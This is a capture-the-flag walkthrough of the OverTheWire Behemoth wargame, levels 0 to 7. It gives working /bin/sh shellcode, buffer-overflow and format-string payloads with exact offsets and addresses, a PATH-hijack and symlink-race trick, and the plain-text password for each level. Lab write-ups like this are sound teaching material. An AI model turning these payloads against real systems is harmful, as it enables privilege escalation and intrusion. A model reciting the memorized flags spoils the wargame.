Overthewire Behemoth Wargame
Contents
Description:
This wargame deals with a lot of regular vulnerabilities found commonly ‘out
in the wild’. While the game makes no attempts at emulating a real environment
it will teach you how to exploit several of the most common coding mistakes
including buffer overflows, race conditions and privilege escalation.
All the password are stored in /etc/behemoth_pass/behemoth[level]
.
Level 0
When executing behemoth0
, it will tell us to enter the password. By using ltrace, we can see that the password is compared to eatmyshorts
. Enter it as our password, and we can get the shell.
Level 0 -> Level 1
By using ltrace, we see it uses gets()
to store our input. It may cause buffer overflow.
And we use Checksec.
RELRO | STACK CANARY | NX | PIE |
---|---|---|---|
No RELRO | No canary found | NX disabled | No PIE |
Set our enviornment variable export EGG=$(python -c ‘print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")')
, and we can make EIP to the address of $EGG
, which contains shellcode.
We need 71 paddings to cover return address using gdb. We can execute (python -c 'print("A"*71+"\x6e\xde\xff\xff")'; cat) | ./behemoth1
to get the flag.
The flag is eimahquuof
.
Level 1 -> Level 2
In this challenge, we can see that the program tries to touch a file named with process id.
We can change /usr/bin/touch
to our own touch
, and we can get the flag.
To do so, we create a folder /tmp/l3o
, and execute ln -s /behemoth/behemoth2 /tmp/l3o/behemoth2
to make a symbolic link. We execute echo "cat /etc/behemoth_pass/behemoth3" > touch
to create a file named touch
, and it gives us flag.
Use chmod +x touch
to make it an executable, and export PATH=/tmp/l3o:$PATH
to make sure behemoth2 will trigger this touch
.
Finally, after ./behemoth2
, we can get the flag nieteidiel
.
Level 2 -> Level 3
In this challenge, it uses fgets()
to ask for identity, and use puts()
to say welcome and goodbye.
What we can do to get the flag is to store our shellcode in an environment variable, and with fgets()
, we can trigger format string vulnerability to edit the address in function puts()
, and make it jumps to our shellcode.
We use objdump -D /behemoth/behemoth3 | less
to see where exactly puts()
jumps, and the address is 0x080497ac
.
Use export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")')
to prepare our shellcode, and find its address in 0xffffdee7
.
When LOB < HOB, the formula to format string editting is [addr][addr+2]%[LOB-8]x%[offset]$hn%[HOB-LOB]x%[offset+1]$hn
. LOB is dee7
, and HOB is ffff
.
Finally, we use (python -c 'print("\xac\x97\x04\x08"+"\xae\x97\x04\x08"+"%57055x%1$hn"+ "%8472x%2$hn")';cat) | /behemoth/behemoth3
to get the shell and flag. That is, we change the content stored at 0x080497ac
into 0xffffdee7
. When puts()
executes, we get to our shellcode.
The flag is ietheishei
.
Level 3 -> Level 4
In this challenge, the program will get its pid and see if a file named after its pid is under /tmp
. If it does not, it exits. If it does, it will get the contents in that file and print them out.
What we can do is that we start it as a background process, get its pid, and stop it immediately. After creating a symbolic link to the password with the name we need, we continue the process, and it will print out password for us.
|
|
And we can get the flag aizeeshing
.
Level 4 -> Level 5
Decompile the program, and we can see that it takes the password and sends to localhost port 1337.
What we need to do is open a tab and listen with nc -lu localhost -p 1337
, run ./behemoth5
with another tab, and we can get the flag mayiroeche
.
Level 5 -> Level 6
In this challenge, there are two files, behemoth6
and behemoth6_reader
.
If we decompile these two files, we can see that behemoth6
will open a process of behemoth6_reader
and take its return value to compare with a string HelloKitty
.
In behemoth6_reader
, it takes shellcode from shellcode.txt
and executes it. So we are going to put shellcode which print out HelloKitty
in shellcode.txt
.
First, we write the assembly code hello.asm
.
|
|
We make it to the executable with nasm -f elf hello.asm
, ld -m elf_i386 -s -o hello hello.o
. Later we use objdump -d hello
to get our shellcode \xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2 \x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff \x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79
.
And we can get the shell and flag baquoxuafo
.
Level 6 -> Level 7
In this challenge, behemoth7
will zero out all the environment variables and put our arguments into an 512 bytes array. However, it will check if there is non-alphabat character in the array. We can not put our shellcode in the array.
By testing, we know that we need 528 bytes paddings to access return address, so we can use ./behemoth7 $(python -c 'print("A"*528 + "\x50\xd4\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")')
to get the shell, we put our shellcode on higher address to prevent scrutinizing.
And we can get the flag pheewij7Ae
.
Level 7 -> Level 8
Congratz!! Now fight for your right to eip=0x41414141!!
Author L3o
LastMod 2019-11-15